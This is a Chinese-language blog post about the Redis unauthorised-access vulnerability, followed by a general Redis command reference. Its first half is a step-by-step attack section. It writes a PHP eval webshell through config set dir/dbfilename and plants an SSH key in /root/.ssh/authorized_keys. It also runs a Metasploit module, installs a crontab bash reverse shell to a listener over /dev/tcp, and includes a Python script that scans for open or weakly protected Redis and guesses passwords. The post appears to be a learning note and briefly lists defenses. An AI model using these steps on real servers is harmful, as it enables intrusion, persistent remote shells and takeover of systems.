浅谈redis未授权漏洞

redis未授权漏洞

利用条件

版本比较高的redis需要修改redis的配置文件,将bind前面#注释符去掉,将protected-mode 后面改为no

写入webshell

bash 复制代码
config get dir #查看redis数据库路径
config set dir web路径# #修改靶机Redis数据库路径
config set dbfilename shell.php #生成shell.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php @eval($_POST['coleak']);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存

ssh密钥连接

利用条件

1.当redis以root身份运行。

2.靶机redis链接未授权,在攻击机上能用redis-cli连上

3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录(权限问题可能不成功)。因为.ssh是隐藏目录可以通过ls -la查看有没有。

bash 复制代码
ssh-keygen -t rsa
将公钥id_rsa.pub里面内容复制到key.txt上传到靶机上面

cat key.txt | redis-cli -h ip -x set xxx#如果是windows 将cat换成type
#将公钥作为value插入到数据库中
redis-cli -h 192.168.43.141 
config get dir
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh -i id_rsa root@ip

msf利用

bash 复制代码
msfdb run#开启msf
search redis#查看有关redis的模块
use 5
show options
set RHOST 192.168.3.207 #设置靶机的ip
run

利用crontab反弹shell

swift 复制代码
nc -lvnp 4444

redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

过一分钟左右就可以收到shell

python脚本检测未授权或弱口令

python 复制代码
#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

防御方法

arduino 复制代码
1.绑定IP 把 #bind 127.0.0.1前面的注释#号去掉,把127.0.0.1改成你允许访问你的redis服务器的ip地址
2.设置密码

redis基础知识

安装配置

vbscript 复制代码
kali(ubuntu)

安装redis
sudo apt-get update
sudo apt-get install redis-server

启动 Redis
redis-server
使用配置文件启动
redis-server /etc/redis/redis.conf

连接 redis
redis-cli
redis-cli -h 127.0.0.1 -p 6379
redis-cli -h host -p port -a password

避免中文乱码
redis-cli --raw

编辑配置

使用 CONFIG set 命令来修改配置

sql 复制代码
redis 127.0.0.1:6379> CONFIG SET loglevel "notice"
OK

redis 127.0.0.1:6379> CONFIG GET loglevel
1) "loglevel"
2) "notice"

CONFIG GET *

key命令

vbnet 复制代码
del 删除
dump 序列化给定 key ,并返回被序列化的值。
exists 检查给定 key 是否存在
expire key seconds 为给定 key 设置过期时间,以秒计
keys 正则匹配所有的key值
ttl 返回剩余存活时间    -1不过期,-2已过期或不存在
randomkey 从当前数据库中随机返回一个 key 。
rename 重命名key
type 返回类型
flushall 删除所有的key
quit 退出
setex 设置包含过期时间的key

数据类型

Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。

字符串

vbnet 复制代码
getrange 返回 key 中字符串值的子字符
setnx 不存在时设置key值
strlen 返回字符串的长度

列表

sql 复制代码
lpush 左插
rpush 右插
lrange start end 查看内容
lrange coleak 0 -1
lpop 左取出
rpop 右取出
l(r)pop key number 删除指定数量的内容
llen 返回长度
ltrim key start end 保留区间内的元素

集合

sadd 集合添加元素
smembers 查看集合内元素
srem 删除集合中的元素

有序集合

vbnet 复制代码
zadd key number value 根据nmum大小添加到有序集合
zrange key start end (withscores)按照顺序列举
zscore key value 查看number
zrank 查看排名(反序)
zrevrank 正序排名
zrem 删除某个内容

哈希

hset person name coleak
hset person age 20
hget person age
hgetall person 返回所有键值对
hdel 删除键值对
hdel person age
hexists 判断键值对是否存在
hexists person age
hlen 键值对等数量
hlen person

发布订阅模式

arduino 复制代码
SUBSCRIBE coleak
PUBLISH coleak "cc"

Stream消息队列

bash 复制代码
xadd coleak * course math 这里*表示自动生成消息的id
xadd coleak * course english
xadd coleak * course cs
xlen coleak
xrange coleak - +  查看coleak中所有消息
xdel coleak 1694008733008-0
xtrim  coleak maxlen 0 删除所有消息

xadd coleak 1-0 course git
xadd coleak 2-0 course docker
xadd coleak 3-0 course redis
xread streams coleak 0  从第0条开始读取消息
xread count 2 block 1000 streams coleak 0  读取两条,若一条都无则堵塞一千毫秒

xread count 5 block 10000 streams coleak $ 读取从此刻开始的最新消息
xadd coleak 1-0 course newbypass

xgroup cokeak group1 0 消息名,组名,组id:添加消费者组
xinfo groups coleak
xgroup createconsumer coleak group1 con1
xgroup createconsumer coleak group1 con2
xgroup createconsumer coleak group1 con3
xreadgroup group group1 con1 count 2 block 3000 streams coleak >

地理位置

geoadd:添加地理位置的坐标。
geopos:获取地理位置的坐标。
geodist:计算两个位置之间的距离。
georadius:根据用户给定的经纬度坐标来获取指定范围内的地理位置集合。
georadiusbymember:根据储存在位置集合里面的某个地点获取指定范围内的地理位置集合。
geohash:返回一个或多个位置对象的 geohash 值。

HyperLogLog

pfadd course1 git docker redis
pfcount course1
pfadd course2 python java redis docker
pfcount course2
pfmerge course course1 course2
pfcount course    返回为5

bitmap

arduino 复制代码
set dianzan "\xf0"    11110000
getbit dianzan 0      0
getbit dianzan 3	  1
bitcount dianzan 统计为1的数量
bitpos dianzan 0 返回第一个出现0的位置

事务

sql 复制代码
MULTI
set k1 v1
set k2 v2
EXEC

DISCARD
取消事务,放弃执行事务块内的所有命令。

持久化

bash 复制代码
sudo vim /etc/redis/redis.conf
save 3600 1 自动触发快照

save 手动快照
xxd dump.rdb
bgsave 子进程进行保存,不影响当下数据的处理

CONFIG GET dir 查看保存的路径

AOF 保存执行的所有操作,并在下次打开时重新执行以复原数据库
appendonly yes

dbfilename文件保存的路径

密码设置

arduino 复制代码
CONFIG set requirepass "coleak" 设置密码
CONFIG get requirepass
AUTH PASSWORD  登陆时密码匹配时返回 OK ,否则返回一个错误
相关推荐
逻各斯3 小时前
redis中的Lua脚本,redis的事务机制
java·redis·lua
阿桢呀6 小时前
Redis实战篇《黑马点评》5
数据库·redis·缓存
Kerwin要坚持日更7 小时前
一文讲解Redis中的主从复制
数据库·redis·缓存
Suk-god7 小时前
【Redis】基础知识入门
数据库·redis·缓存
zfj3217 小时前
手动搭建Redis1主2从+ 3 Sentinel 高可用集群
redis·sentinel·高可用
m0_748230948 小时前
Redis 通用命令
前端·redis·bootstrap
Struggle Sheep10 小时前
linux安装redis
linux·运维·redis
guihong00413 小时前
Redis 深度解析:高性能缓存与分布式数据存储的核心利器
redis·分布式·缓存
qq_5298353515 小时前
Redis作为缓存和数据库的数据一致性问题
数据库·redis·缓存
知初~19 小时前
出行项目案例
hive·hadoop·redis·sql·mysql·spark·database